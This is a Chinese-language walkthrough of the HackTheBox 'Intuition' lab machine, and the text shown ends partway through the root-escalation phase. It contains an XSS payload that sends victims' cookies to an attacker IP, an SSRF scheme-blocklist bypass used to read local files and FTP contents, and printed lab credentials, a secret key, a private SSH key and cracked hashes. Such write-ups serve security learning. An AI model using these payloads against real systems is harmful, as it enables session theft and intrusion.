Intuition
User
nmap
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/iClean]
└─$ nmap -A 10.129.22.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 05:29 EDT
Nmap scan report for 10.129.22.134
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.65 seconds
22,80 两端口
add host 解析 comprezzor.htb
vhost - gobuster
➜ htb gobuster vhost --append-domain -u http://comprezzor.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --threads 300
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://comprezzor.htb
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: auth.comprezzor.htb Status: 302 [Size: 199] [--> /login]
Found: report.comprezzor.htb Status: 200 [Size: 3166]
Found: dashboard.comprezzor.htb Status: 302 [Size: 251] [--> http://auth.comprezzor.htb/login]
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================
得到了三个新的vhost
dashboard
auth
report
进入dashboard会跳转到auth进行登录认证
使用report也需要auth进行登录认证
xss
先进性登录就会得到一个cookie,此时role为user
然后就会跳转这个页面
在这个页面下,有一个功能的是通报bug给开发者,这里有一个xss
发送这个payload获取admin的cookie
#payload
<img src=x οnerrοr=this.src="http://10.10.16.11"+document.cookie />
#result
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
{"user_id": 2, "username": "adam", "role": "webdev"}|58f6f725339ce3f69d8552a10696ddebb68b2b57d2e523c08bde868d3a756db8
这串cookie 解密,我们得到一个新的role
dashboard-webdev
通过获取到的cookie进入dashboard,显示下面信息
这里面是一些用户进行的bug Report
通过点击对应的报告id,我们可以对某个报告进行具体的操作
- 设置为解决
- 提高优先级
- 删除
admin-cookie
这里我们可以在自己提交一个报告申请也是窃取xss的payload,然后在dashboard页面提升他的优先级
过一会,报告就被solved掉了,并且我们这次拿到了一个新的cookie,role是admin
user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5{"user_id": 1, "username": "admin", "role": "admin"}|34822333d444ae0e4022f6cc679ac9d26d1d1d682c59c61cfbea29d776d589d9
此时再用新的cookie 访问,拿到了一个新的页面
Create-pdf-report
这个路由可以填入一个url,并且生成这个url页面的pdf
pdf的信息里面有一个wkhtmltopdf 0.1.2.6
google 搜索
Referer:https://www.exploit-db.com/exploits/51039
存在一个ssrf
ssrf-CVE-2022-35583
➜ Intuition cat index.html
<body><iframe src="http://10.10.16.11/iframe"></body>
发送请求
成功收到了iframe的请求
通过nc命令进行监听,获取到了请求头,User-agent: Python-urllib/3.11
说明该web服务是 python起的
CVE-2023-24329
Referer: https://nvd.nist.gov/vuln/detail/CVE-2023-24329
An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.
CERT 协调中心(CERT/CC)在周五的一份公告中说:当整个 URL 都以空白字符开头时,urlparse 就会出现解析问题。“这个问题会影响主机名和方案的解析,最终导致任何拦截列表方法失效”。
LFI
直接用file协议读不出内容 没道理,可能有白名单校验啥的
结合上面那个url.lib的 cve ,url 前面加一个空格,可以成功读出文件
读取到的passwd文件,没有看见除了root用户有sh权限的用户,尝试读取/root/.ssh/id_rsa 读取失败
所以这个服务多半在docker里面
hosts
➜ Intuition cat hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.2 web.local web
172.21.0.1 ftp.local
该靶机解析域名存在一个172.21.0.1 指向ftp.local 这个域名的dns记录,172开头的地址很像docker
environ
HOSTNAME=web.local
PYTHON_PIP_VERSION=22.3.1
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_GET_PIP_URL=https://github.com/pypa/get- pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.11.2
PYTHON_SETUPTOOLS_VERSION=65.5.1
PWD=/app
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
通过读取/proc/self/envrion 拿到下面环境变量信息
app.py
通过读取/proc/self/cmdline 拿到了
python3 /app/code/app.py
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024
# Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt','pdf', 'docx'}
# Add more allowed file extensions
if needed app.register_blueprint(main_bp)app.register_blueprint(report_bp, subdomain='report')app.register_blueprint(auth_bp, subdomain='auth')app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':app.run(debug=False,host="0.0.0.0", port=80)
那么在子目录
/app/code/blueprints/index/index.py
/app/code/blueprints/report/report.py
/app/code/blueprints/auth/auth.py
/app/code/blueprints/dashboard/dashboard.py
还有文件,依次读取出来
dashboard.py
from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import (get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report
)
import random
import os
import pdfkit
import socket
import shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetimedashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():user_data = request.cookies.get('user_data')user_info = deserialize_user_data(user_data)if user_info['role'] == 'admin':reports = get_report_by_priority(1)elif user_info['role'] == 'webdev':reports = get_all_reports()return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)@dashboard_bp.route('/report/<report_id>', methods=['GET'])
@login_required
def get_report(report_id):user_data = request.cookies.get('user_data')user_info = deserialize_user_data(user_data)if user_info['role'] in ['admin', 'webdev']:report = get_report_by_id(report_id)return render_template('dashboard/report.html', report=report, user_info=user_info)else:pass@dashboard_bp.route('/delete/<report_id>', methods=['GET'])
@login_required
def del_report(report_id):user_data = request.cookies.get('user_data')user_info = deserialize_user_data(user_data)if user_info['role'] in ['admin', 'webdev']:report = delete_report(report_id)return redirect(url_for('dashboard.dashboard'))else:pass@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():report_id = int(request.args.get('report_id'))if resolve_report(report_id):flash('Report resolved successfully!', 'success')else:flash('Error occurred while trying to resolve!', 'error')return redirect(url_for('dashboard.dashboard'))@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():user_data = request.cookies.get('user_data')user_info = deserialize_user_data(user_data)if user_info['role'] != ('webdev' or 'admin'):flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')return redirect(url_for('dashboard.dashboard'))report_id = int(request.args.get('report_id'))priority_level = int(request.args.get('priority_level'))if change_report_priority(report_id, priority_level):flash('Report priority level changed!', 'success')else:flash('Error occurred while trying to change the priority!', 'error')return redirect(url_for('dashboard.dashboard'))@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():global pdf_report_pathif request.method == 'POST':report_url = request.form.get('report_url')try:scheme = urlparse(report_url).schemehostname = urlparse(report_url).netlocdissallowed_schemas = ["file", "ftp", "ftps"]if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1')or (hostname in allowed_hostnames)):urllib_request = urllib.request.Request(report_url, headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5'})response = urllib.request.urlopen(urllib_request)html_content = response.read().decode('utf-8')pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000, 90000))}.pdf'pdfkit.from_string(html_content, pdf_filename)return send_file(pdf_filename, as_attachment=True)else:flash('Invalid URL', 'error')return render_template('dashboard/create_pdf_report.html')except Exception as e:flash('Unexpected error!', 'error')return render_template('dashboard/create_pdf_report.html')else:return render_template('dashboard/create_pdf_report.html')@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")backup_filename = f'app_backup_{current_datetime}.zip'with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:for root, _, files in os.walk(source_directory):for file in files:file_path = os.path.join(root, file)arcname = os.path.relpath(file_path, source_directory)zipf.write(file_path, arcname=arcname)try:ftp = FTP('ftp.local')ftp.login(user='ftp_admin', passwd='u3jai8y71s2')ftp.cwd('/')with open(backup_filename, 'rb') as file:ftp.storbinary(f'STOR {backup_filename}', file)ftp.quit()os.remove(backup_filename)flash('Backup and upload completed successfully!', 'success')except Exception as e:flash(f'Error: {str(e)}', 'error')return redirect(url_for('dashboard.dashboard'))
ftp
通过读取dashborad.py 我们可以发现create_pdf_report 这个路由确实是有白名单的,我们传入的schema 如果存在白名单列表中 [“file”, “ftp”, “ftps”] 就会被拦截,加了一个空格就能绕过这个白名单,并且我们拿到了一个ftp服务凭据
ftp_admin:u3jai8y71s2 ,使用ssrf和这个凭据继续读取ftp里面的内容
POST /create_pdf_report HTTP/1.1
Host: dashboard.comprezzor.htb
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dashboard.comprezzor.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dashboard.comprezzor.htb/create_pdf_report
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: closereport_url=%20ftp://ftp_admin:u3jai8y71s2@ftp.local
发送上面这个请求成功拿到了ftp里面的内容
ftp里面有三个文件 private-8297.key welcome_note.pdf welcome_note.txt
依次读取,pdf读取不出
welcome_note.txt
Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your
arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely
delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our
commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are
invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new
role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way,
ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and
access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to
access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any
questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out
for assistance. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative
thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once
again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing
your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need
further information, please feel free to me at adam@comprezzor.htb. Best regards, Adam
private-8297.key
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
尝试把ssh的密码去除
➜ Intuition ssh-keygen -p -f id_rsa [50/296]Enter old passphrase:
Key has comment 'dev_acc@local'
Enter new passphrase (empty for no passphrase):Y27SH19HDIWD
Enter same passphrase again:
Your identification has been saved with the new passphrase.
➜ Intuition ssh-keygen -f id_rsa -y
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local
使用 ssh-keygen 查看用户名 dev_acc@local
使用私钥登录,成功获取user
Root
user.db
在webf服务路径下翻文件发现了users.db
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .table
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
sqlite>
➜ crack hashcat -m 30120 -a 0 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --show
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
成功解密
➜ crack sudo crackmapexec ssh 10.10.11.15 -u users -p 'adam gray'
SSH 10.10.11.15 22 10.10.11.15 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH 10.10.11.15 22 10.10.11.15 [-] root:adam gray Authentication failed.
SSH 10.10.11.15 22 10.10.11.15 [-] adam:adam gray Authentication failed.
SSH 10.10.11.15 22 10.10.11.15 [-] dev_acc:adam gray Authentication failed.
SSH 10.10.11.15 22 10.10.11.15 [-] lopez:adam gray Authentication failed.
这个凭证无法用来ssh登录,继续收集信息
ftp
dev_acc@intuition:/opt/ftp$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Sep 19 2023 .
drwxr-xr-x 7 root root 4096 Apr 10 08:21 ..
drwxrwx--- 3 root adam 4096 Apr 10 08:21 adam
drwxrwx--- 2 root root 4096 May 3 04:55 ftp_admin
ftp 目录在这里有一个属于adam用户的目录,说明那个凭证可能是用来登录里的
dev_acc@intuition:/opt/ftp$ ftp 0 21
Connected to 0.
220 pyftpdlib 1.5.7 ready.
Name (0:dev_acc): adam 331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||39291|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||48205|).
150 File status okay. About to open data connection.
drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||34593|).
150 File status okay. About to open data connection.
-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
226 Transfer complete.
ftp> lpwd
Local directory: /opt/ftp
ftp> lcd /home/dev_acc
Local directory now: /home/dev_acc
ftp> get *
local: user.txt remote: *
ftp: Can't access `user.txt': Operation not permitted
ftp> help
Commands may be abbreviated. Commands are:! close fget lpage modtime pdir rcvbuf sendport type
$ cr form lpwd more pls recv set umask
account debug ftp ls mput pmlsd reget site unset
append delete gate macdef mreget preserve remopts size usage
ascii dir get mdelete msend progress rename sndbuf user
bell disconnect glob mdir newer prompt reset status verbose
binary edit hash mget nlist proxy restart struct xferbuf
bye epsv help mkdir nmap put rhelp sunique ?
case epsv4 idle mls ntrans pwd rmdir system
cd epsv6 image mlsd open quit rstatus tenex
cdup exit lcd mlst page quote runique throttle
chmod features less mode passive rate send trace
ftp> get run-tests.sh
local: run-tests.sh remote: run-tests.sh
229 Entering extended passive mode (|||44807|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************| 318 594.91 KiB/s 00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (498.46 KiB/s)
ftp> get runner1
local: runner1 remote: runner1
229 Entering extended passive mode (|||45973|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************| 16744 18.91 MiB/s 00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (16.70 MiB/s)
ftp> get runner1.crunner1.c
local: runner1.crunner1.c remote: runner1.crunner1.c
229 Entering extended passive mode (|||36465|).
550 No such file or directory.
ftp> get runner1.c
local: runner1.c remote: runner1.c
229 Entering extended passive mode (|||51053|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************| 3815 16.53 MiB/s 00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (11.40 MiB/s)
ftp>
有几个这样的文件,我们把他下载下来
大概看了一下是一个控制一个叫playbook服务的脚本
暂时想不到如何利用,感觉有命令注入
netstat
dev_acc@intuition:/tmp$ ./fscan -h 172.21.0.4/24 -p 80,4444,5000,8080,38843___ _/ _ \ ___ ___ _ __ __ _ ___| | __/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.21.0.2 is alive
(icmp) Target 172.21.0.4 is alive
(icmp) Target 172.21.0.1 is alive
[*] Icmp alive hosts len is: 3
172.21.0.2:80 open
172.21.0.1:80 open
[*] alive ports len is: 3
start vulscan
172.21.0.4:4444 open
[*] WebTitle http://172.21.0.1 code:301 len:178 title:301 Moved Permanently 跳转url: http://comprezzor.htb/
[*] WebTitle http://172.21.0.2 code:404 len:207 title:404 Not Found
[*] WebTitle http://comprezzor.htb/ code:200 len:3408 title:Comprezzor
[*] WebTitle http://172.21.0.4:4444 code:302 len:0 title:None 跳转url: http://172.21.0.4:4444/ui/
[*] WebTitle http://172.21.0.4:4444/ui/ code:200 len:486 title:Selenium Grid
已完成 3/3
[*] 扫描结束,耗时: 11.486285763s
4444端口有服务
上chisel 代理一下流量
进去可以vnc,但是需要密码,我们不知道密码
suricata.log
dev_acc@intuition:/tmp$ find / -name *.log 2>/dev/null
/var/log/kern.log /var/log/auth.log
/var/log/vmware-network.5.log
/var/log/vmware-vmsvc-root.1.log
/var/log/vmware-network.3.log
/var/log/vmware-network.6.log
/var/log/laurel/audit.log
/var/log/vmware-network.2.log
/var/log/vmware-network.log
/var/log/vmware-vmtoolsd-root.log /var/log/vmware-network.1.log
/var/log/vmware-network.7.log /var/log/vmware-vmsvc-root.log
/var/log/vmware-vmsvc-root.3.log
/var/log/suricata/stats.log
/var/log/suricata/suricata.log
/var/log/suricata/fast.log
/var/log/vmware-vmsvc-root.2.log
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/vmware-network.4.log
/usr/share/doc/python3.10/pybench.log
查找有权限读的log文件,发现了一个不常见的suricata
Suricata 是一个高性能的、开源的网络分析和威胁检测引擎。它可以用于实时入侵检测 (IDS)、内网安全监视 (IPS)、网络安全监测 (NSM) 和离线 pcap 处理。
Suricata 的主要特性包括:
协议识别:Suricata 可以自动识别多种网络协议,包括但不限于HTTP,FTP,SMB等,这对于检测各种威胁移动非常有用。
流跟踪:Suricata 能够在网络流量中跟踪并识别单独的流对话,使其能够更好地理解流量模式以及进行更深入的威胁检测。
基于规则的威胁检测:Suricata 支持强大的威胁检测规则,允许你定制各种规则来捕获和警告各种网络威胁。
多线程处理能力:为了提高性能,Suricata支持多线程处理,可充分发挥现代多核处理器的性能。
HTTP和TLS威胁检测:Suricata包含HTTP和TLS协议的威胁检测功能,可以监测这些协议中的威胁行为。
Suricata 还有许多其他的特性,包括文件和数据检测,TLS/SSL加密的检测等,使其成为一个强大的网络安全监控工具。更多信息可以在它的 官方网站 上找到。
那么这个ids会捕获流量,说不定捕获到了和用户凭证有关的流量,直接匹配和用户有关的信息
adam、lopze
dev_acc@intuition:/var/log/suricata$ ls -al
total 42652
drwxr-xr-x 2 root root 4096 Apr 29 18:27 .
drwxrwxr-x 12 root syslog 4096 May 3 06:21 ..
-rw-r--r-- 1 root root 18143731 May 3 06:45 eve.json
-rw-r--r-- 1 root root 0 Apr 29 18:27 eve.json.1
-rw-r--r-- 1 root root 5760612 Oct 26 2023 eve.json.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 eve.json.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 eve.json.1-2024042918.backup
-rw-r--r-- 1 root root 214743 Oct 28 2023 eve.json.4.gz
-rw-r--r-- 1 root root 5050595 Oct 14 2023 eve.json.6.gz
-rw-r--r-- 1 root root 972578 Sep 29 2023 eve.json.7.gz
-rw-r--r-- 1 root root 0 Apr 29 18:27 fast.log
-rw-r--r-- 1 root root 0 Apr 29 18:27 fast.log.1
-rw-r--r-- 1 root root 0 Oct 26 2023 fast.log.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 fast.log.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 fast.log.1-2024042918.backup
-rw-r--r-- 1 root root 20 Oct 26 2023 fast.log.4.gz
-rw-r--r-- 1 root root 1033 Oct 8 2023 fast.log.6.gz -rw-r--r-- 1 root root 1485 Sep 28 2023 fast.log.7.gz
-rw-r--r-- 1 root root 8417814 May 3 06:45 stats.log
-rw-r--r-- 1 root root 0 Apr 29 18:27 stats.log.1
-rw-r--r-- 1 root root 4293890 Oct 26 2023 stats.log.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 stats.log.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 stats.log.1-2024042918.backup
-rw-r--r-- 1 root root 73561 Oct 28 2023 stats.log.4.gz
-rw-r--r-- 1 root root 376680 Oct 14 2023 stats.log.6.gz
-rw-r--r-- 1 root root 67778 Sep 29 2023 stats.log.7.gz
-rw-r--r-- 1 root root 26500 May 3 06:21 suricata.log
-rw-r--r-- 1 root root 26145 Apr 29 18:27 suricata.log.1
